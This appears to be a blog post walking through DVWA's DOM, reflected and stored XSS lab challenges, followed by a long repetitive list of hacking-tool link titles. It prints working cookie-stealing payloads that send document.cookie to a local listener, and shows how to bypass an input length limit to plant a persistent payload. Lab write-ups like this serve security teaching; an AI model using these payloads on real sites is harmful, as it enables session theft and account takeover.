SELAMAT DATANG DI TEMPATKU.

Semoga anda puas dan betah di tempatku. Walau pun semua serba sederhana serta ke kurangan. Maklum aja, aku baru belajar...! Karena itu aku sangat mengharapkan sekali Petunjuk serta Bimbingan dari anda yang datang ke tempat ini. Demi kemajuah dan perbaikan Blog yang masih sembraut tak karuan. dan serba asal - asalan.

Wasalamm...!

Learning Web Pentesting With DVWA Part 4: XSS (Cross Site Scripting)

In this article we are going to solve the Cross-Site Scripting Attack (XSS) challenges of DVWA app. Lets start by understanding what XSS attacks are. OWASP defines XSS as: "Cross-Site Scripting (XSS) attacks are a type of injection, in which malicious scripts are injected into otherwise benign and trusted websites. XSS attacks occur when an attacker uses a web application to send malicious code, generally in the form of a browser side script, to a different end user. Flaws that allow these attacks to succeed are quite widespread and occur anywhere a web application uses input from a user within the output it generates without validating or encoding it.
An attacker can use XSS to send a malicious script to an unsuspecting user. The end user's browser has no way to know that the script should not be trusted, and will execute the script. Because it thinks the script came from a trusted source, the malicious script can access any cookies, session tokens, or other sensitive information retained by the browser and used with that site. These scripts can even rewrite the content of the HTML page."
XSS attacks are usually used to steal user cookies which let attackers control the victim's account or to deface a website. The severity of this attack depends on what type of account is compromised by the attacker. If it is a normal user account, the impact may not be that much but if it is an admin account it could lead to compromise of the whole app or even the servers.

DOM, Sources, and Sinks:

DVWA has three types of XSS challenges. We'll describe them as we go through them in this article. But before we go about to solve these challenges we need to understand few things about a browser. We need to know what Document Object Model (DOM) is and what are sources & sinks. DOM is used by browsers as a hierarchical representation of elements in the webpage. Wikipedia defines DOM as "a cross-platform and language-independent interface that treats an XML or HTML document as a tree structure wherein each node is an object representing a part of the document. The DOM represents a document with a logical tree". A source can be described simply as input that a user supplies. And a sink can be defined as "potentially dangerous JavaScript function or DOM object that can cause undesirable effects if attacker-controlled data is passed to it". Javascript function eval() is an example of a sink.

DOM Based XSS:

Now lets solve our first XSS challenge which is a DOM based XSS challenge. DOM based XSS occurs when sources are passed to sinks without proper validation. An attacker passes specifically crafted input to the sink to cause undesirable effects to the web app.
"Fundamentally, DOM-based vulnerabilities arise when a website passes data from a source to a sink, which then handles the data in an unsafe way in the context of the client's session."
On the DVWA app click on XSS (DOM), you will be presented with a page like this:
Keep an eye over the URL of the page. Now select a language and click the Select button. The URL should look like this now:
http://localhost:9000/vulnerabilities/xss_d/?default=English 
We are making a GET request to the server and sending a default parameter with the language that we select. This default parameter is the source and the server is passing this source to the sink directly without any validation. Now lets try to exploit this vulnerability by changing the URL to this:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>alert(XSS)</script> 
When we hit enter after modifying the URL in the URL bar of the browser we should see an alert box popup with XSS written on it. This proves that the app is passing the data from source to sink without any validation now its time that we steal some cookies. Open another terminal or tab and setup a simple http server using python3 like this:
python3 -m http.server 
By default the python http server runs on port 8000. Now lets modify the URL to steal the session cookies:
http://localhost:9000/vulnerabilities/xss_d/?default=<script>new Image().src="http://localhost:8000/?c="+document.cookie;</script> 
The payload we have used here is from the github repository Payload all the things. It is an awesome repository of payloads. In this script, we define a new image whose source will be our python http server and we are appending user cookies to this request with the help of document.cookie javascript function. As can be seen in the image we get a request from the page as soon as the page loads with our xss payload and can see user cookies being passed with the request. That's it we have stolen the user cookies.

Reflected XSS:

Another type of XSS attack is called Reflected XSS Attack. OWASP describes Reflected XSS as those attacks "where the injected script is reflected off the web server, such as in an error message, search result, or any other response that includes some or all of the input sent to the server as part of the request."
To perform this type of attack, click on XSS (Reflected) navigation link in DVWA. After you open the web page you are presented with an input field that asks you to input your name.
Now just type your name and click on submit button. You'll see a response from server which contains the input that you provided. This response from the server which contains the user input is called reflection. What if we submit some javascript code in the input field lets try this out:
<script>alert("XSS")</script> 
After typing the above javascript code in the input field click submit. As soon as you hit submit you'll see a pop-up on the webpage which has XSS written on it. In order to steal some cookies you know what to do. Lets use another payload from payload all the things. Enter the code below in the input field and click submit:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Here we are using img html tag and its onerror attribute to load our request. Since image x is not present on the sever it will run onerror javascipt function which performs a GET request to our python http server with user cookies. Like we did before.
Referencing OWASP again, it is mentioned that "Reflected attacks are delivered to victims via another route, such as in an e-mail message, or on some other website. When a user is tricked into clicking on a malicious link, submitting a specially crafted form, or even just browsing to a malicious site, the injected code travels to the vulnerable web site, which reflects the attack back to the user's browser. The browser then executes the code because it came from a "trusted" server. Reflected XSS is also sometimes referred to as Non-Persistent or Type-II XSS."
Obviously you'll need your super awesome social engineering skills to successfully execute this type of attack. But yeah we are good guys why would we do so?

Stored XSS:

The last type of XSS attack that we are going to see is Stored XSS Attack. OWASP describes Stored XSS attacks as those attacks "where the injected script is permanently stored on the target servers, such as in a database, in a message forum, visitor log, comment field, etc. The victim then retrieves the malicious script from the server when it requests the stored information. Stored XSS is also sometimes referred to as Persistent or Type-I XSS."
To perform this type of XSS attack, click on XSS (Stored) navigation link in DVWA. As the page loads, we see a Guestbook Signing form.
In this form we have to provide our name and message. This information (name and message) is being stored in a database. Lets go for a test spin. Type your name and some message in the input fields and then click Sign Guestbook. You should see your name and message reflected down below the form. Now what makes stored XSS different from reflected XSS is that the information is stored in the database and hence will persist. When you performed a reflected XSS attack, the information you provided in the input field faded away and wasn't stored anywhere but during that request. In a stored XSS however our information is stored in the database and we can see it every time we visit the particular page. If you navigate to some other page and then navigate back to the XSS (Stored) page you'll see that your name and message is still there, it isn't gone. Now lets try to submit some javascript in the message box. Enter a name in the name input field and enter this script in the message box:
<script>alert(XSS)</script> 
When we click on the Sign Guestbook button, we get a XSS alert message.
Now when you try to write your cookie stealing payload you notice you cannot put your payload in the box as the maximum input length for the textarea is set to 50. To get rid of this restriction, right-click on the textarea box and click inspect. Change or delete the maxlength="50" attribute in code:
<textarea name="mtxMessage" cols="50" rows="3" maxlength="50"></textarea> 
to something like this:
<textarea name="mtxMessage" cols="50" rows="3"></textarea> 
And now use your payload to steal some cookies:
<img src=x onerror=this.src="http://localhost:8000/?c="+document.cookie /> 
Everytime a user visits this page you'll get his/her cookies (Sweet...). You don't need to send any links or try your super powerful social engineering skills to get user cookies. Your script is there in the database it will be loaded everytime a user visits this vulnerable page.
This is it for today see you next time.

References:

  1. DOM-based vulnerabilities: https://portswigger.net/web-security/dom-based
  2. DOM-based XSS: https://portswigger.net/web-security/cross-site-scripting/dom-based
  3. Document Object Model: https://en.wikipedia.org/wiki/Document_Object_Model
  4. Payload All the Things: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection
  5. Cross Site Scripting (XSS): https://owasp.org/www-community/attacks/xss/
More articles
  1. Hack Tools 2019
  2. Ethical Hacker Tools
  3. Bluetooth Hacking Tools Kali
  4. Hacking Tools Name
  5. Pentest Tools Port Scanner
  6. Pentest Tools List
  7. Hacking Tools For Games
  8. Pentest Tools Online
  9. Pentest Tools Subdomain
  10. Pentest Tools Port Scanner
  11. Pentest Tools Windows
  12. Pentest Tools Port Scanner
  13. How To Hack
  14. Hacking Tools Name
  15. Pentest Tools Github
  16. Hak5 Tools
  17. Hacker
  18. Pentest Recon Tools
  19. Hack Tools For Pc
  20. Hacking Tools Download
  21. Hacker Tools Hardware
  22. Bluetooth Hacking Tools Kali
  23. Bluetooth Hacking Tools Kali
  24. Termux Hacking Tools 2019
  25. New Hack Tools
  26. Pentest Tools Url Fuzzer
  27. Pentest Box Tools Download
  28. Game Hacking
  29. Hacking Tools Usb
  30. Hack Tool Apk
  31. Hacking Tools Windows
  32. Hack Tools Mac
  33. Hacker Tool Kit
  34. Tools Used For Hacking
  35. Easy Hack Tools
  36. Nsa Hack Tools Download
  37. Hacking Tools For Kali Linux
  38. New Hacker Tools
  39. Hacker Tools Apk
  40. Hack Apps
  41. Hacking Tools Windows 10
  42. Wifi Hacker Tools For Windows
  43. Pentest Reporting Tools
  44. Hacker Tools Online
  45. Hacking Tools For Kali Linux
  46. Pentest Tools Url Fuzzer
  47. How To Make Hacking Tools
  48. Hacker
  49. Hacker Tools Free
  50. Hacking Tools Windows
  51. Hackrf Tools
  52. Free Pentest Tools For Windows
  53. Ethical Hacker Tools
  54. Pentest Tools Android
  55. Hacker Tools Apk Download
  56. Computer Hacker
  57. Black Hat Hacker Tools
  58. Hacking Tools For Pc
  59. Hacker Tools Apk Download
  60. Hak5 Tools
  61. Blackhat Hacker Tools
  62. Android Hack Tools Github
  63. Hacker Tools For Pc
  64. Hack Tool Apk No Root
  65. Hacker Tools For Mac
  66. Hacking Tools 2019
  67. Pentest Tools Nmap
  68. Hacking App
  69. How To Install Pentest Tools In Ubuntu
  70. Hack Tools For Games
  71. Hack Tools
  72. Pentest Automation Tools
  73. Pentest Tools Nmap
  74. World No 1 Hacker Software
  75. Hacker Tools
  76. Hacking Tools Name
  77. Pentest Tools Tcp Port Scanner
  78. New Hacker Tools
  79. Pentest Tools Url Fuzzer
  80. Pentest Tools Url Fuzzer
  81. Hacks And Tools
  82. Hack Tools For Windows
  83. Pentest Tools Port Scanner
  84. Best Hacking Tools 2020
  85. New Hack Tools
  86. Hack Tools For Ubuntu
  87. Install Pentest Tools Ubuntu
  88. What Is Hacking Tools
  89. Pentest Tools Framework
  90. Pentest Tools For Ubuntu
  91. Physical Pentest Tools
  92. Hacker Tool Kit
  93. Pentest Tools Open Source
  94. Beginner Hacker Tools
  95. Hack Rom Tools
  96. Pentest Tools
  97. Hacking Tools For Windows 7
  98. Hacker Tools Github
  99. Hacker Tools Hardware
  100. Hacker Tools Hardware
  101. Pentest Tools Linux
  102. Android Hack Tools Github
  103. World No 1 Hacker Software
  104. Hacking Tools Mac
  105. Hacking Tools Windows
  106. Hacking Tools For Windows Free Download
  107. Pentest Tools Review
  108. Pentest Tools Download
  109. Hacker Security Tools
  110. Hacking Tools Windows 10
  111. Hack Apps
  112. Hacker Tools For Mac
  113. Pentest Tools Open Source
  114. Hack Tool Apk
  115. Hacking Tools Free Download
  116. Pentest Tools For Windows
  117. Hacker Tool Kit
  118. Hack Tool Apk No Root
  119. Hacker Tools Online
  120. Hacking Tools Software
  121. Hack Tool Apk
  122. Hacking Tools For Kali Linux
  123. Hacking Tools Windows 10
  124. Hack Tools
  125. Growth Hacker Tools

Tidak ada komentar:

Posting Komentar